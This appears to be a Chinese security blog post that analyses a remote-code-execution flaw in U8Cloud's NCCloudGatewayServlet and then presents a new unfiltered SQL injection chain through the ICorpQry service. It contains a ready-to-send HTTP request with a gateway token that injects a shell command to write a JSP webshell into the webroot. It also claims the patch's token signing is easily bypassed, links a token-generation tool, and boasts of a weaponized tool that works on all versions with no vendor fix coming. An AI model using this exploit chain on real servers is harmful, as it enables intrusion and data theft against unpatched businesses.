当前位置: 首页 > news >正文

基于U8Cloud NCCloudGatewayServlet RCE漏洞发掘新利用链:全版本通杀SQL注入

NCCloudGatewayServlet RCE回顾

基于通报的分析

image.png

直接搜索NCCloudGatewayServlet接口,定位到nccloudgw.upm
image.png

跟踪ServletForGW,顶部是一堆私有属性

image.png

查看结构:

image.png

发现只有doAction方法可以接收HTTP参数,猜测此方法为入口,继续往下看:
image.png

从HTTP请求头部获取一个gatewaytoken请求头使用checkGateWayToken进行校验,跟进此方法

image.png

此处的nctoken是传输过程中的明文token,其处理流程是对后续的nccloud.gateway.nctoken进行encode和decode加解密操作。

查看nccloud.gateway.nctoken:

image.png

发现是加密过后的,那就跟进一下上一步的encode、decode,跟踪到Encode.class

image.png

image.png

应该是AES,密钥也有
image.png

到此token获取成功,回到ServletForGW继续审计
image.png

创建一个json对象后从request里获取请求数据。

image.png

发现调用callNCService(),所以继续往下看
image.png
反射
image.png

但是反射的类必须是注册在EJB容器中的服务。

这个对本漏洞无影响,对自己挖链子有影响,后面再说

基于补丁的分析

第一个补丁:

image.png

黑名单封了两个类,掩耳盗铃有点

IActionInvokeService:
image.png

跟进实现:
image.png

跟进exec:

image.png

ProcessFileUtils:

image.png

到此结束
image.png

如何构造POC以及为什么

image.png
image.png
image.png

image.png

需要注意的是

image.png

此处argType为什么是Object
image.png

实战利用方式

POST /servlet/NCCloudGatewayServlet HTTP/1.1
Host: 192.168.131.130:8088
gatewaytoken: TJ6RT-3FVCB-DPYP8-XF7QM-96FV3
Content-Type: application/json
(一行空行)
{"serviceInfo": {"serviceClassName": "com.ufida.zior.console.IActionInvokeService","serviceMethodName": "exec","serviceMethodArgInfo": [{"argType": { "body": "java.lang.String" },"argValue": { "body": "nc.bs.pub.util.ProcessFileUtils" },"agg": false,"isArray": false,"isPrimitive": false},{"argType": { "body": "java.lang.String" },"argValue": { "body": "openFile" },"agg": false,"isArray": false,"isPrimitive": false},{"argType": { "body": "java.lang.Object" },"argValue": { "body": "dummy.txt \"& echo (要求不能出现双引号的jsp马子并且能够自己输出到缓冲区回显,让AI写一个得了)) > C:\\U8CloudCERP5.1\\U8CERP\\webapps\\u8c_web\\shell2.jsp\"" },"agg": false,"isArray": false,"isPrimitive": false}]}
}

image.png

image.png

总结

整体思路:
image.png

可以看到这条链子简单来说就是callNCService->IActionInvokeService->ProcessFileUtils(任意可控参数功能点)

看了朋友中的文章说可以换掉后边的功能点去实现各种漏洞打法,试了下确实如此,但是这种思路在打完官方这个极其敷衍的补丁之后也会被拦截
image.png

所以思考了一下,既然第三步的功能点可以替换掉,那么第二步的反射点是不是也可以替换掉?

基于此便有了下文

NCCloudGatewayServlet SQL注入新链挖掘

审计过程

上文已经说过了,因为callNCService()反射的类必须是注册在EJB容器中的服务,所以不能随便找一个可控参数的反射类就拿过来充数。在挖掘过程中踩了不少坑:
image.png

最开始找到PfUtilTools,结果这个类不能被NCLocator.getInstance().lookup找到,所以本想以此为跳板,只要找到一个调用runClass且能被NCLocator.getInstance().lookup找到的类,就相当于把上文的RCE链子换了一下抄过来。可惜所有涉及到PfUtilTools.runClass的用法居然都是反射硬编码。
喷一下U8开发,你都硬编码了还要反射干集贸。
image.png

最后只能去找可调用的 nc.itf.* 接口,找到如下几个:

nc.itf.uap.rbac.IUserManageQuery - 用户管理服务

nc.itf.uap.zior.console.IActionInvokeService - 反射执行服务(上文的RCE漏洞)

nc.itf.uap.sf.IConfigFileService - 配置服务

nc.itf.uap.bd.corp.ICorpQry - 组织架构查询服务 ← SQL注入点

发现在ICorpQry中存在一个queryCorpVOByWhereSQL的接口
image.png

跟踪一下实现
image.png

再跟踪retrieveByClause
image.png

发现这个类有很多重载,找到一个可能的点

image.png

跟踪buildSql进去
image.png

无过滤SQL注入,塞到之前的RCE链子,这条链子就通了。

链子思路

GatewayGW

image.png

CorpImpl

image.png

BaseDAO

image.png

JdbcPersistenceManager

image.png

Token绕过

在官方针对与NCCloudGatewayServlet RCE的补丁里面对Token也加了一定的限制,加入了时间戳和sign验签。
image.png
不过绕过还是很简单的,此处就不过多赘述了。搓了一个工具,方便以后如果找到新链子就直接拿ts和sign打就行
链接:U8 Token生成工具(提取码:b108)
image.png

最终POC

image.png

打的是官网最新5.1的补丁,老版本也能打通,换成默认Token即可,全版本通杀实现。
image.png

最后晒一个武器化

image.png

因为U8项目组解散了,所以这个漏洞只能从用户侧去防护,实战也是一打一个准,感觉可以当个小shiro

http://www.jsqmd.com/news/302500/

相关文章:

  • 在Kubernetes集群中部署NFS Subdir ExternalProvisioner的完整复盘
  • 展会行业邮件群发工具优选指南:精准触达海内外客户 - U
  • 叶黄素哪个牌子靠谱?90%人被误导,这十个叶黄素品牌性价比拉满
  • Z-Image-Turbo_UI操作速成:30分钟掌握全部核心功能
  • 【信号分解】基于混沌增强领导者黏菌算法优化变分模态分解CELSMA-VMD数字信号去噪(优化K值 alpha值 综合指标 适应度函数包络熵)附Matlab代码
  • 揭秘网盘加速:如何突破百度网盘下载速度限制
  • GetQzonehistory完整指南:数字资产守护者的记忆保险箱
  • YimMenu使用指南:从入门到精通的GTA5辅助工具应用手册
  • ProMod插件终极配置指南:解锁游戏隐藏潜能
  • 突破打字效率瓶颈:QWERTY Learner打造专业键盘技能训练系统
  • 智能精准的Boss直聘效率工具:让职位时间清晰可见的求职利器
  • 本地AI模型部署:从资源适配到场景化落地的全栈方案
  • 解密Marlin固件:从入门到精通的避坑指南
  • Cursor高效使用实用指南:突破试用限制的技术方法
  • PyTorch-2.x-Universal-Dev-v1.0镜像nvidia-smi命令检查显卡状态
  • 5分钟精通ncmdump:解决网易云音乐NCM格式转换的终极指南
  • 高效智能过滤:BilibiliSponsorBlock实现B站纯净观看体验
  • CogVLM2开源:19B模型8K图文理解性能登顶
  • 开源游戏库管理工具Playnite:一站式多平台游戏整合解决方案
  • 解锁AI文档处理效率提升:企业级文档预处理工具全指南
  • ONLYOFFICE Desktop Editors:离线办公环境的技术探索与实践指南
  • Z-Image-Turbo使用全记录:一次成功的部署实践
  • 探索AI测试自动化:智能测试生成如何重塑软件质量保障
  • 解锁LTX-2视频生成:ComfyUI创意工作流探索者指南
  • 高效极简广告拦截工具配置指南:从基础部署到多设备协同
  • 颠覆式3步实现LOL安全自定义皮肤:R3nzSkin玩家自由体验指南
  • 知乎数据备份终极指南:保护你的知识资产安全方案
  • 2026年零基础想入行网络安全?先搞懂这 3 件事再出发!
  • 3大方案解决MacOS跨平台安卓应用运行难题:从诊断到优化的全流程指南
  • 3个革命性突破让非技术人员3天内构建企业级应用